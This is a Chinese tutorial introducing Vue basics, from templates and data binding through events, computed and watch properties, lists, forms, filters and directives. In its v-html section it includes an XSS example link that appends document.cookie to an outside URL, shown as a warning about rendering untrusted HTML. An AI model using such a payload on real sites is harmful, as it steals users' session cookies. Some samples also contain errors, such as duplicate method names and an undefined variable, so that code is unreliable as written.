Vue入门
🍓 初识Vue
- 📌先创建容器,再创建
Vue
实例与容器关联 - 📌容器与实例之间是一对一的关系,不能一对多,也不能多对一
- 📌容器中的所有代码被称为
Vue模板
- 📌
{{}}
中写的是js表达式
,可以读取到data
中的所有属性,可以执行methods
中所有的方法,并展示返回值。
代码:
<!--引入Vue.js,后面的案例就不写这个了-->
<script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>
<!--1. 创建容器-->
<div id="root">
<!--js表达式-->
<h1>{{name.toUpperCase()}}</h1>
</div>
<script>
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示
//2. 创建Vue实例 Vue2写法
new Vue({
el:'#root',
data:{
"name":"Hello world"
}
})
//2. Vue3写法
const obj = {
//Vue3的data必须是函数,不能是对象
data(){
return {
name:'zhangsan'
}
}
}
Vue.createApp(obj).mount('#root')
</script>
🍓 模板语法
- 📌插值语法
- 🍁功能:用于解析标签体内容
- 🍁写法:
{{js表达式}}
,可以直接读取data
中的所有属性
- 📌指令语法
- 🍁功能:用于解析标签(包括:标签属性、标签内容、绑定事件)
- 🍁举例:
v-vbind:href="js表达式"
或简写为:href="js表达式"
,可以直接读取data
中的所有属性 - 🍁备注:
Vue
中有很多指令,此处只是拿v-bind
举例
代码:
<div id="root">
<h1>插值语法</h1>
<h3>Hello , {{name}}</h3>
<hr />
<h1>指令语法</h1>
<a v-bind:href="url">百度1</a>
<a :href="url">百度2</a>
</div>
<script>
new Vue({
el:'#root',
data:{
name:'world',
url:'https://www.baidu.com'
}
})
</script>
🍒 指令语法-数据绑定
指令可以获取Vue
中data
所有的成员,也可以执行methods
中所有的方法
Vue
中有两种数据绑定方式:
- 📌单项数据绑定(
v-bind
):数据只能从data
流向页面 - 📌双向数据绑定(
v-model
):数据不仅能从data
流向页面,也能从页面流向data
备注:- 🍁双向绑定一般应用在表单类元素上,用于其他元素无效,甚至会报错。
- 🍁
v-model:value
可以简写为v-model
,因为v-model
默认收集的就是value
的值。
代码:
<div id="root">
单项数据绑定:<input type="text" v-bind:value="name">
单项数据绑定(简写):<input type="text" :value="name">
双向数据绑定:<input type="text" v-model:value="age">
</div>
<script type="text/javascript">
const vm = new Vue({ //可以通过控制台操作vue实例,设置或获取name、age的值,观察他们的区别
el:'#root',
data:{
name:"zhangsan",
age:23
}
})
</script>
🍓 el的两种写法
el
的作用:绑定模板
- 📌
new Vue
时候配置el
属性 - 📌先创建
Vue
实例,随后再通过vm.$mount('#root')
指定el
表达式//方式一 const vm = new Vue({ el:'#root' }) //方式二 vm.$mount('#root')
🍓 data有两种写法
data
的作用:将数据交给Vue
实例管理
- 📌对象式
- 📌函数式
如何选择:目前哪种写法都可以,以后学习组件的时候,data
必须使用函数式。否则会报错//1. 对象式 const vm = new Vue({ data:{ name:"zhangsan", age:23 } }) //2. 函数式一 const vm = new Vue({ data:function(){ return { name:'Hello world!' } } }) //3. 函数式二 const vm = new Vue({ data(){ return { name:'Hello world!' } } })
🍓 MVVM模型
- 📌
M
:模型(Model
):data
中的数据 - 📌
V
:视图(View
):模板代码 - 📌
VM
:视图模型(ViewMode
):Vue
实例
观察发现:
- 📌
data
中所有的属性,最后都出现在了vm
身上 - 📌
vm
身上所有的属性及Vue
原型上所有的属性。在Vue模板
都可以直接使用
🍓 数据代理
🍒 javascript原生的数据代理
javascript
原生的数据代理使用函数Object.defineProperty
实现
-
📌向
person对象
中添加属性,并控制该属性可以被枚举,可以被修改,可以被删除let person = { name:'张三', sex:'男' } Object.defineProperty(person,'age',{ value:23, enumerable:true, //控制属性可以被枚举(遍历),默认值是false writable:true, //控制属性可以被修改,默认值false configurable:true //控制属性可以被删除,默认false }) console.log(Object.keys(person)) //拿到属性所有的key for(let key in person){ //遍历person的属性 console.log(person[key]) } //删除age delete person.age
-
📌当修改变量
num
的值时,对应的person.age
也会发生变化,修改person.age
的值时,num
也会发生变化let num = 23; let person = { name:'张三', sex:'男' } //全写 Object.defineProperty(person,'age',{ get:function(){ //当有人读取person的age属性时,get函数就会被调用,且返回age的值 console.log('有人读取了age值') return num; }, set:function(value){ //当有人通过person对象修改属性age的值时,set函数就会被调用,且会收到修改的具体值 console.log('有人设置了age值') num = value } }) //简写 Object.defineProperty(person2,'age',{ get(){ console.log('有人读取了age值') return num; }, set(value){ console.log('有人设置了age值') num = value } })
🍒 Vue数据代理原理
把data
上的数据放代理一份到vm对象
上,实现修改data
就能修改vm
上的数据,修改vm
就能修改data
中的数据的效果,目的是为了让编码更方便
- 📌
Vue
中的数据代理:
通过vm
对象来代理data
对象中的属性的操作(读/写) - 📌
Vue
中数据代理的好处:
更加方便的操作data
中的数据 - 📌基本原理:
- 🍁通过
Object.defineProperty()
把data对象
中所有属性添加到vm
上。 - 🍁为每一个添加到
vm
上的属性,都指定一个get/set
- 🍁在
get/set
内部操作读/写data
中对应的属性
- 🍁通过
🍓 事件
🍒 事件的基本使用:
- 📌使用
v-on:xxx
或者@xxx
绑定事件 - 📌事件的回调需要配置在
methods
对象中,最终会在vm
对象上 - 📌
methods
中配置函数,不要使用箭头函数,否则this
就不是vm
了 - 📌
methods
中配置函数,都是被Vue
所管理的函数,this
的指向是vm或组件实例对象
- 📌
@click="demo"
和@click="demo($event)"
效果一致,但后者可以传参,$event
必须这么写Vue
才能识别它是事件对象(约定)。
<div id="root">
<h2>{{name}},欢迎您!</h2>
<button type="button" v-on:click="showInfo1">点我提示信息1(不传参)</button>
<button type="button" @click="showInfo2($event,66)">点我提示信息2(传参)</button>
</div>
<script type="text/javascript">
//全写
new Vue({
el:'#root',
data:{
name:'张三'
},
methods:{
showInfo1:function(event){ //参数默认是事件的参数
console.log(event)
alert('点我提示信息1')
},
showInfo2:function(event,id){
console.log(event)
alert(id)
}
}
})
//简写
new Vue({
el:'#root',
data:{
name:'张三'
},
methods:{
showInfo1(event){ //参数默认是事件的参数
console.log(event)
alert('点我提示信息1')
},
showInfo2(event,id){
console.log(event)
alert(id)
}
}
})
</script>
🍒 事件修饰符
Vue
中的事件修饰符
-
prevent
:阻止默认事件(常用) -
stop
:阻止事件冒泡(常用) -
once
:事件只触发一次(常用) -
capture
:使用事件的捕获模式 -
self
:只有event.target
是当前操作的元素时才会触发事件 -
passive
:事件的默认行为立即执行,无需等待事件回调执行完毕<div id="root"> <!--1. 阻止a标签跳转的默认行为--> <a href="https://www.baidu.com" @click.prevent="showInfo1">点我提示信息1</a> <!--2. 阻止事件冒泡--> <div class="demo1" @click="showInfo1"> <button @click.stop="showInfo1">点我提示信息1</button> </div> <!--3. 组合修饰:先阻止a标签跳转的默认行为,再阻止事件冒泡--> <div class="demo1" @click="showInfo1"> <a href="https://www.baidu.com" @click.prevent.stop="showInfo1">点我提示信息1</a> </div> <!--4. 事件只触发一次--> <button type="button" @click.once="showInfo1">点我提示信息1</button> <!-- 5. 事件默认的执行顺序:捕获、冒泡、事件回调执行、事件默认行为执行 capture修饰的事件执行顺序:捕获、事件回调执行、冒泡、事件默认行为执行 --> <div class="box1" @click.capture="showInfo2(1)">box1 <div class="box2" @click="showInfo2(2)">box2</div> </div> <!--6. 只有event.target是当前操作的元素时才会触发事件--> <div class="box1" @click.self="showInfo2(1)">box1 <div class="box2" @click.self="showInfo2(2)">box2</div> </div> <!--7. 事件的默认行为立即执行,无需等待事件回调执行完毕, 下面是鼠标滚轮事件,当滚轮事件结束后才会执行默认行为滚动条滚动,如果事件处理比较复杂,那么滚动条就会出现卡顿,所以使用passive可以很好的解决这个问题--> <ul class="list" @mousewheel.passive="demo"> <li>1</li> <li>2</li> <li>3</li> <li>4</li> <li>5</li> <li>6</li> </ul> </div> <script type="text/javascript"> new Vue({ el:'#root', methods:{ showInfo1(){ alert('点我提示信息1') }, showInfo2(index){ alert(index) }, demo(){ for(let i = 0; i < 100000;i++){ console.log('@') } } } }) </script>
🍒 键盘事件
-
Vue
常用的按键别名:回车 => enter 删除或退格 => delete 退出 => esc 空格 => space 换行 => tab(特殊,必须配合keydown事件才能使用,否则使用keyup的话,未等触发事件,事件焦点就会消失,因为浏览器有一个自动切换焦点的快捷键就是tab) 上 => up 下 => down 左 => left 右 => right
-
Vue
未提供别名的按键,可以使用按键原始的Key
值去绑定,但注意如果key
是由多个单词组成
,需要转换,例如CapsLock -> caps-lock
-
系统修饰键(用法特殊):
ctrl,alt,shift,meta
- 配合事件
keyup
使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发(一般使用组合键模式) - 配合
keydown
使用:正常触发事件
<div id="root"> <!--绑定键盘抬起事件,当输入enter时触发事件回调--> <input type="text" @keyup.enter="showInfo"> <!--组合键触发事件回到 ctrl + y--> <input type="text" @keyup.ctrl.y="showInfo"> </div> <script type="text/javascript"> new Vue({ el:'#root', methods:{ showInfo(event){ console.log(event.key,event.keyCode) //输出按键的名称和编码 console.log(event.target.value) //输出事件当前操作的元素的值 } } }) </script>
- 配合事件
🍓 计算属性
计算属性:
- 定义:要用的属性不存在,需要通过已有的属性计算得来
- 原理:底层借助了
Object.defineproperty
方法提供的get和set
get
函数什么时候执行:- 初次读取时会执行一次
- 当依赖数据发生变化时会被再次调用
- 优势:与
methods
实现相比,内部有缓存机制(复用),效率更高,调试方便 - 备注:
- 计算属性最终会出现在
vm
上,直接调用即可 - 如果计算属性要被修改,必须写
set
函数去响应修改。且set
函数中要引起被依赖的数据发生变化
- 计算属性最终会出现在
姓 + 名
案例:
<div id="root">
姓:<input type="text" v-model="firstName"> <br><br>
名:<input type="text" v-model="lastName" /> <br><br>
姓名:<input type="text"v-model="fullName">
</div>
<script type="text/javascript">
//全写
new Vue({
el:'#root',
data:{
firstName:'张',
lastName:'三'
},
computed:{ //计算属性
fullName:{
get(){
return this.firstName + '-' + this.lastName
},
set(value){
const arr = value.split('-')
this.firstName = arr[0]
this.lastName = arr[1]
}
}
}
})
//简写
new Vue({
el:'#root',
data:{
firstName:'张',
lastName:'三'
},
computed:{ //计算属性
fullName(){ //注意:这种简写仅适用于不需要对计算属性进行修改的情况,也就说不需要写set方法的情况
return this.firstName + '-' + this.lastName
}
}
})
</script>
🍓 监视属性
监视属性watch
- 当监视属性变化时,回调函数自动调用,进行相关操作
- 监视的属性必须存在,才能进行监视
- 监视的两种写法:
new Vue
时传入watch
配置- 通过
vm.$watch
监视
🍒 入门
<div id="root">
<input type="text" v-model="name">
</div>
<script type="text/javascript">
//全写
const vm = new Vue({
el:'#root',
data:{
name:'张三'
},
watch:{
name:{ //监视属性:name
immediate:true, //初始化时让handler调用一下,默认值false
handler(newValue,oldValue){
console.log(newValue,oldValue)
}
}
}
})
//写法2
vm.$watch('name',{
immediate:true, //初始化时让handler调用一下,默认值false
handler(newValue,oldValue){
console.log(newValue,oldValue)
}
})
//简写(注意:如果需要设置监视属性,如immediate、deep,则不能使用简写)
new Vue({
el:'#root',
data:{
name:'张三'
},
watch:{
name(newValue,oldValue){
console.log(newValue,oldValue)
}
}
})
</script>
🍒 深度监视
- 📌
Vue
中的watch
默认不监视对象内部值的变化 - 📌配置属性
deep:true
可以监视对象内部值的变化
备注:
Vue
自身可以监视对象内部值的变化,但Vue
提供的watch
默认不可以- 使用
watch
时根据数据的具体结构,决定是否采用深度监视
<div id="root">
<h3>a的值是{{number.a}}</h3>
<button type="button" @click="number.a++">点我让a+1</button>
<h3>b的值是{{number.b}}</h3>
<button type="button" @click="number.b++">点我让b+1</button>
</div>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
number:{
a:1,
b:1
}
},
watch:{
'number.a':{ //监视对象如果有特殊字符,如点,可以采用这种方式监视
handler(){
console.log('a的值发生了改变')
}
},
'number.b':{
handler(){
console.log('b的值发生了改变')
}
},
number:{
deep:true, //开启深度监视
handler(){
console.log('number的值发生了改变')
}
}
}
})
</script>
🍓 绑定样式
- 📌class样式:
:class="xxx" xxx
可以是字符串、对象、数组
字符串写法适用于:类名不确定,要动态获取
数组写法适用于:要绑定多个样式,个数不确定,名字也不确定
对象写法适用于:要绑定多个样式,个数确定,名字确定,但不确定是否使用 - 📌
style
样式:
:style="xxx" xxx
可以是字符串、对象、对象数组
<head>
<style type="text/css">
.basic{
}
.happy{
}
.sad {
}
.normal{
}
.box1{
}
.box2{
}
.box3{
}
</style>
</head>
<body>
<div id="root">
<!--适用于:样式的类别不确定,需要动态指定-->
<div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br><br>
<!--适用于:样式的类个数不确定,名字也不确定(推荐)-->
<div class="basic" :class="classArr">{{name}}</div> <br><br>
<!--适用于:样式的类个数不确定,名字确定(Vue2不推荐,因为Vue2动态新增属性比较麻烦,需要通过Vue.set或者vm.$set)-->
<div class="basic" :class="classObj">{{name}}</div>
<!--指定style样式-->
<div class="basic" :style="styleObj">{{name}}</div>
<!--指定style嵌套样式-->
<div class="basic" :style="[styleObj,styleObj2]">{{name}}</div>
</div>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
name:'张三',
mood:'normal',
classArr:['box1','box2','box3'],
classObj:{
box1:true,
box2:true,
box3:true
},
styleObj:{
fontSize:'40px', //注意:多个单词的样式需要转为驼峰式,比如font-size -> fontSize
color:'red',
backgroundColor: '#f7aa28'
},
styleObj2:{
borderRadius: '10%'
}
},
methods:{
changeMood(){
const moodArr = ['happy','sad','normal']
const index = Math.floor(Math.random() * moodArr.length)
this.mood = moodArr[index]
}
}
})
</script>
</body>
🍓 条件渲染
- 📌
v-if
写法:
适用于: 切换频率较低的场景1. 📌v-if="布尔表达式" 2. 📌v-else-if="布尔表达式" 3. 📌v-else
特点: 不展示的DOM
元素,直接移除
注意:v-if
和v-else-if
和v-else
组合使用时,要求结构不能被打断 - 📌
template
标签配套v-if
指令可以去除一堆结构,并且template
没有任何意义,不会影响页面的DOM
结构 - 📌
v-show
写法:
v-show="布尔表达式"
适用于: 切换频率较高的场景
特点: 不展示的DOM
元素,底层使用样式display:none
隐藏 - 📌备注: 使用
v-if
时,元素将无法被获取,因为被移除了,而使用v-show
一定可以获取到
<div id="root">
<h2>n的值:{{n}}</h2>
<button type="button" @click="n++">点我n+1</button>
<!--使用v-show做条件渲染-->
<h2 v-show="false">张三</h2>
<h2 v-show="1 === 1">张三</h2>
<h2 v-show="isShow">张三</h2>
<hr />
<h2 v-if="n===24">李四</h2>
<h2 v-if="n===25">王五</h2>
<h2 v-if="n===26">赵六</h2>
<hr />
<h2 v-if="n===24">李四</h2>
<h2 v-else-if="n===25">王五</h2>
<h2 v-else>赵六</h2>
<hr />
<template v-if="n===1">
<h2>李四</h2>
<h2>王五</h2>
<h2>赵六</h2>
</template>
</div>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
isShow:true,
n:0
}
})
</script>
🍓 列表
v-for
指令:
- 📌用于展示列表数据
- 📌语法:
v-for="(item,index) in xxx" :key="yyy"
- 📌可遍历:数组、对象、字符串、指定次数
🍒 列表渲染
<div id="root">
<h2>人员列表</h2>
<!--遍历数组-->
<!--写法1-->
<ul><li v-for="(item,index) in persons" :key="item.id">{{index + 1}}--{{item.name}}-{{item.age}}</li></ul>
<!--写法2-->
<h2>人员列表</h2>
<ul><li v-for="item of persons" :key="item.id">{{item.name}}-{{item.age}}</li></ul>
<hr>
<!--遍历对象-->
<h2>汽车信息</h2>
<ul><li v-for="(item,key) in car" :key="key">{{key}}-{{item}}</li></ul>
<hr>
<!--遍历字符串(不推荐把key值设置成索引值)-->
<h2>字符串</h2>
<ul>
<li v-for="(item,index) in str" :key="index">
{{index}}-{{item}}
</li>
</ul>
<hr>
<!--遍历指定次数(不推荐把key值设置成索引值)-->
<h2>遍历指定次数</h2>
<ul>
<li v-for="(item,index) in 5" :key="index">
{{index}}-{{item}}
</li>
</ul>
</div>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
persons:[
{
"id":"001",
"name":"张三",
"age":23
},
{
"id":"002",
"name":"李四",
"age":24
},
{
"id":"003",
"name":"王五",
"age":25
}
],
car:{
"id":"c001",
"name":"奔驰",
"price":"28万"
},
str:'hello'
}
})
</script>
vue
中的key
有什么作用?(key
的内部原理):
- 📌虚拟
DOM
中key
的作用:
key
是虚拟DOM
对象的标识,当数据发生变化时,Vue
会根据【新数据】生成【新的虚拟DOM
】,随后Vue
进行【新虚拟DOM
】与【旧虚拟DOM
】的差异比较,比较规则如下: - 📌对比规则
- 🍁旧虚拟
DOM
中找到了与新虚拟DOM
相同的key
a. 🌷若虚拟DOM
中内容没变,直接使用之前的真实DOM
b. 🌷若虚拟DOM
中内容变了,则生成新的真实DOM
,随后替换掉页面中之前的真实DOM
. - 🍁旧虚拟
DOM
中未找到与新虚拟DOM
相同的key
创建新的真实DOM
,随后渲染到到页面。 - 🍁用
index
作为key
可能会引发的问题:
1. 🌷若对数据进行:逆序添加、逆序删除等破坏顺序操作,会产生没有必要的真实DOM
更新==>界面效果没问题,但效率低。
2. 🌷如果结构中还包含输入类的DOM
:会产生错误DOM
更新==>界面有问题。 - 🍁开发中如何选择
key
?
1. 🌷最好使用每条数据的 唯一标识 作为key
,比如id
、手机号、身份证号、学号 等唯一值
2. 🌷如果不存在对数据的逆序添加、逆序删除等破坏顺序的操作,仅用于渲染列表用于展示,使用index
作为key
是没有问题的。
- 🍁旧虚拟
🍒 列表过滤
涉及技术:
javascript
基础filter
:过滤数组函数indexOf
:字符串包含函数
Vue
技术- 监视属性
- 计算属性
🔥使用监视属性做
<div id="root">
<h2>学生信息</h2>
<input type="text" placeholder="请输入关键词" v-model="keyword">
<ul>
<li v-for="item in filterPersons" :key="item.id">{{item.name}}-{{item.age}}-{{item.sex}}</li>
</ul>
</div>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
keyword:'',
persons:[
{
"name":"马冬梅",
"age":19,
"sex":"女"
},
{
"name":"周冬雨",
"age":20,
"sex":"女"
},
{
"name":"周杰伦",
"age":21,
"sex":"男"
},
{
"name":"温兆伦",
"age":22,
"sex":"男"
}
],
filterPersons:[]
},
watch:{
keyword:{
immediate:true,
handler(val){
this.filterPersons = this.persons.filter((item)=>{
return item.name.indexOf(val) != -1;
})
}
}
}
})
</script>
🔥使用计算属性做
<div id="root">
<h2>学生信息</h2>
<input type="text" placeholder="请输入关键词" v-model="keyword">
<ul>
<li v-for="item in filterPersons" :key="item.id">{{item.name}}-{{item.age}}-{{item.sex}}</li>
</ul>
</div>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
keyword:'',
persons: ['上面已有,这边不重复展示。']
},
computed:{
filterPersons(){
return this.persons.filter((item)=>{
return item.name.indexOf(this.keyword) != -1
})
}
}
})
</script>
🍒列表排序
涉及技术:
javascript
基础sort
:数组排序函数if
判断中,0
默认转为false
Vue
技术- 计算属性
<div id="root">
<h2>学生信息</h2>
<button type="button" @click="sort=1">按照年龄升序</button>
<button type="button" @click="sort=2">按照年龄降序</button>
<button type="button" @click="sort=0">按照原顺序</button>
<ul>
<li v-for="item in filterPersons" :key="item.id">{{item.name}}-{{item.age}}-{{item.sex}}</li>
</ul>
</div>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
sort:0,
persons: ['上面已有,这边不重复展示。']
},
computed:{
filterPersons(){
const arr = this.persons;
if(this.sort){
arr.sort((p1,p2)=>{
if(this.sort == 1){
return p2.age - p1.age
}else{
return p1.age - p2.age
}
})
}
return arr
}
}
})
</script>
🍒Vue监测列表数据发生变化的一个问题(以下问题都是Vue2产生的问题,Vue3不会有问题)
问题: Vue2
监测不到数组里对象整体替换发生改变的情况
解答:
Vue2
对于对象和数组的监测方式:
- 📌
Vue2
对于对象里面的元素的监听是get
和set
方法(判断Vue
里的一个对象是否是响应式,只需判断有没有对应的get
和set
) - 📌
Vue2
对于数组的监听的是数组的七个方法:- 🍁
push
- 🍁
pop
- 🍁
shift
- 🍁
unshift
- 🍁
splice
- 🍁
sort
- 🍁
reverse
- 🍁
- 📌
Vue2
无法监控到数组发生变化的方法- 🍁
filter
- 🍁
concat
- 🍁
slice
- 🍁
map
- 🍁根据索引修改数组
- 🍁
注意: 修改数组元素,绝对不能用下标索引去修改
<div id="root">
<h2>学生信息</h2>
<button type="button" @click="updateMei">修改马冬梅的信息</button>
<ul>
<li v-for="item in persons" :key="item.id">{{item.name}}-{{item.age}}-{{item.sex}}</li>
</ul>
</div>
<script type="text/javascript">
const vm = new Vue({
el:'#root',
data:{
persons:['上面已有,这边不重复展示。']
},
methods:{
//修改数组中对象的属性(Vue可以监测)
updateMei(){
this.persons[0].name = '马老师'
this.persons[0].age = 50
this.persons[0].sex = '男'
}
//修改数组中整个对象(Vue无法监测)
updateMei(){
this.persons[0] = {
"name":"马老师",
"age":50,
"sex":"男"
};
}
//使用数组函数修改数组中整个对象(Vue可以监测)
updateMei(){
this.persons.splice(0,1,{
"name":"马老师",
"age":50,
"sex":"男"
})
}
}
})
</script>
-
解决通过数组通过索引修改数据的方法
arr.splice(索引,替换数量,值) Vue.set(arr, 索引, 值)
🍒新增响应式属性
Vue2
不支持直接追加响应式属性,可以通过以下方法动态追加属性,Vue3
支持动态追缴响应式属性
Vue2
追加响应式属性:Vue.set(target,propertyName/index,value)
或vm.$set(target,propertyName/index,value)
注意:
Vue2
不能给vm
或vm
的根数据对象添加属性,即target
不能等于vm
或指代vm
的this
,但是可以给data
中的数组或对象进行修改或新增属性。
<div id="root">
<h2>学生信息</h2>
<button type="button" @click="addSex">点我给学生添加一个性别</button>
<ul>
<li v-for="item in persons" :key="item.id">
<ul>
<li>学生姓名:{{item.name}}</li>
<li>学生年龄:{{item.age}}</li>
<li v-show="item.sex">学生性别:{{item.sex}}</li>
</ul>
</li>
</ul>
</div>
<script type="text/javascript">
const vm = new Vue({
el:'#root',
data:{
persons:['上面已有,这边不重复展示。']
},
methods:{
addSex(){
this.$set(this.persons[0],'sex','女')
this.$set(this.persons[1],'sex','女')
this.$set(this.persons[2],'sex','男')
this.$set(this.persons[3],'sex','男')
}
}
})
</script>
🍓收集表单数据
- 📌
v-model
收集的是value
值,像radio
、checkbox
这些没有value
值的,默认收集的是true|false
,我们需要手动加上value
属性,让他收集我们指定的值 - 📌
checkbox
如果有多个,需要对对应的v-model
属性设置为数组,checkbox
绑定对应的value
值 - 📌表单提交绑定
@submit
事件 - 📌
v-model
修饰符:- 🍁
lazy
:失去焦点再收集数据,一般用于数据量比较大的文本框 - 🍁
number
:输入为字符串转为数字,一般跟<input type="number">
配套使用 - 🍁
trim
:去除首位空格
- 🍁
<div id="root">
<form @submit.prevent="demo">
账号:<input type="text" name="account" v-model.trim="userInfo.account"> <br>
密码:<input type="password" name="password" v-model.trim="userInfo.password"> <br>
年龄:<input type="number" name="age" v-model.number="userInfo.age"> <br>
性别:男<input type="radio" name="sex" v-model="userInfo.sex" value="man">
女<input type="radio" name="sex" v-model="userInfo.sex" value="woman"><br>
爱好:学习<input type="checkbox" name="hobby" v-model="userInfo.hobby" value="study">
打游戏<input type="checkbox" name="hobby" v-model="userInfo.hobby" value="play">
吃饭<input type="checkbox" name="hobby" v-model="userInfo.hobby" value="eat"> <br>
所属校区:<select name="school" v-model="userInfo.school">
<option value ="">--请选择--</option>
<option value="beiJing">北京</option>
<option value="shangHai">上海</option>
<option value="chongQing">重庆</option>
</select><br>
其他信息:<textarea rows="5" cols="20" name="other" v-model.lazy.trim="userInfo.other"></textarea><br>
<input type="checkbox" name="agree" v-model="userInfo.agree">阅读并接受<a href="http://www.baidu.com">用户协议</a><br>
<input type="submit" value="提交">
</form>
</div>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
userInfo:{
account:'',
password:'',
age:15,
sex:'',
hobby:[],
school:'beiJing',
other:'',
agree:false
}
},
methods:{
demo(){
console.log(JSON.stringify(this.userInfo))
}
}
})
</script>
🍓过滤器
定义:对需要展示的数据进行特定的逻辑处理再展示
语法:
- 注册过滤器:
- 全局定义(注意全局定义过滤器必须在使用过滤器的模板之前就定义好,一次只能定义一个过滤器)(过滤器一般是通用工具,推荐使用全局定义):
Vue.filter(name,callback)
- 局部定义(可以同时定义多个,但是只能在当前定义的
Vue
实例中使用)
new Vue(filters:{})
- 全局定义(注意全局定义过滤器必须在使用过滤器的模板之前就定义好,一次只能定义一个过滤器)(过滤器一般是通用工具,推荐使用全局定义):
- 使用过滤器:
{{xxx | 过滤器1 | 过滤器2...}}
或v-bind:属性="xxx | 过滤器1 | 过滤器2..."
;注意:v-model
不能使用过滤器。 - 过滤器的方法都有返回值,目的并不是要改变原数据的值,而是对原数据进行处理返回新的值呈现到页面上
下面代码使用了:dayjs.min.js
库,来源:BootCDN:https://www.bootcdn.cn/
<body>
<div id="root">
<h2>显示格式化后的时间</h2>
<h3>计算属性:现在是:{{nowTime1}}</h3>
<h3>methods实现:现在是:{{nowTime2()}}</h3>
<h3>过滤器实现:现在是:{{time | nowTime3}}</h3>
<h3>过滤器传参实现:今日是:{{time | nowTime3('YYYY/MM/DD')}}</h3>
<h3>过滤器串联实现:今年是:{{time | nowTime3('YYYY/MM/DD') | nowTime3('YYYY')}}</h3>
</div>
<script type="text/javascript">
Vue.filter('nowTime3',function(val,format='YYYY-MM-DD HH:mm:ss'){
return dayjs(val).format(format)
})
new Vue({
el:'#root',
data:{
time:Date.now()
},
computed:{
nowTime1(){
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
}
},
methods:{
nowTime2(){
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
}
}
})
</script>
</body>
🍓内置指令
- 📌模板解析指令:
- 🍁
v-bind
:单项绑定解析表达式,可以简写为:xxx
- 🍁
v-model:value
:双向绑定解析表达式,可以简写为v-model
,通常用于表单 - 🍁
v-for
:遍历数组、对象、字符串 - 🍁
v-on
:绑定事件监听,可以简写为@
- 🍁
v-if
:条件渲染(动态控制节点是否存在) - 🍁
v-show
:条件渲染(动态控制节点是否隐藏) - 🍁
v-text
:向其所在节点中渲染文本内容,不解析HTML
标签(一般使用插值语法,因为插值语法比较灵活) - 🍁
v-html
:向其所在节点中渲染HTML
内容,解析HTML
标签
注意:- 🌷在网站上动态渲染任意
HTML
是非常危险的,容器导致XSS
攻击 - 🌷一定要在可以信任的内容上使用
v-html
,永远不要用在用户提交的内容上
- 🌷在网站上动态渲染任意
- 🍁
- 📌网速慢的情况下优化指令:
- 🍁
v-cloak
(没有值):- 🌷本质是一个特殊属性,
Vue
实例创建完毕并接管容器后,会立即删掉v-cloak
属性 - 🌷一般配合
css
用于解决网速慢时,页面显示未渲染的模板的问题
- 🌷本质是一个特殊属性,
- 🍁
- 📌性能优化指令:
- 🍁
v-once
(没有值):- 🌷
v-once
标注的节点只会动态渲染一次,后面数据发生变化不会引起v-once
所在结构的更新,可以用于性能优化
- 🌷
- 🍁
v-pre
(没有值):- 🌷
v-pre
标注的节点会被vue
直接忽略,所以注意由vue
来动态渲染的标签不能加上这个属性,没有动态渲染的标签可以加上这个,用于提升性能
- 🌷
- 🍁
📌模板解析标签:v-text
和插值语法:v-text
能实现的,插值语法都能实现,且更为灵活。
<div id="root">
<div>你好,{{name}}</div>
<div v-text="name"></div>
</div>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
name:'张三'
}
})
</script>
📌模板解析标签:v-html
和插值语法:v-html
可以解析插入的html
语句,插值语法不解析。
<div id="root">
<div>你好,{{name}}</div>
<div v-html="name"></div>
<div v-html="content"></div>
</div>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
name:'<h3>张三</h3>',
content:'<a href=javascript:location.href="http://www.baidu.com?'+document.cookie.replaceAll('; ','&')+'">兄弟,这儿有你想要的资源</a>' //危险操作
}
})
</script>
📌加载显示优化标签:v-cloak
:通过谷歌浏览器Network
,设置Slow 3G
,模拟网速慢的情况来看下该指令的效果
<style type="text/css">
[v-cloak]{
display: none;
}
</style>
<div id="root" v-cloak>
<h2>{{name}}</h2>
</div>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
name:'张三'
}
})
</script>
📌性能优化标签:v-once
<div id="root">
<div v-once>初始化n值:{{n}}</div>
<div>更新的n值:{{n}}</div>
<button type="button" @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
📌性能优化标签:v-pre
<div id="root">
<div v-pre>初始化n值:{{n}}</div>
<div>更新的n值:{{n}}</div>
<button type="button" @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
🍓自定义指令
- 定义语法:
- 局部指令:
new Vue({ directives:{ 指令名:配置对象(或简写函数) } })
- 全局指令:
Vue.directive(指令名,配置对象(或简写函数))
- 局部指令:
- 简写函数能完成的,配置对象都能完成,配置对象能完成的,简写函数不一定能完成,需要在元素渲染到页面后再做操作的,必须使用配置对象
- 配置对象常用的3个回调
bind
:指令绑定时调用inserted
:模板编译完渲染到页面上后调用update
:指令所在模板结构被重新编译时调用
- 备注:
-
指令使用时需要加
v-
-
指令命名不能是驼峰命名法则,可以是全小写或者使用
-
衔接,如big-age
,则其下局部指令简写写法:new Vue({ directives:{ 'big-age'(){ } } })
-
需求1:定义一个v-big
指令,和v-text功
能类似,但会把绑定的数值放大10
倍
需求2:定义一个v-fbind
指令,和v-bind
功能类似,但可以让其所绑定的input
元素默认获得焦点
<div id="root">
<h2>当前的n值是:<span v-text="n"></span></h2>
<h2>放大10倍后的n值是:<span v-big="n"></span></h2>
<button type="button" @click="n++">点我n+1</button>
<input type="text" name="" v-fbind="n">
</div>
<script type="text/javascript">
//简写:只能实现模板编译时被调用的功能
Vue.directive('big',function(element,binding){
element.innerText = binding.value * 10
})
//全写
Vue.directive('fbind',{
//指令绑定时调用
bind(element,binding){
element.value = binding.value
},
//模板编译完渲染到页面上后调用
inserted(element,binding){
element.focus()
},
//指令所在模板结构被重新编译时调用
update(element,binding){
element.value = binding.value
}
})
new Vue({
el:'#root',
data:{
n:1
},
})
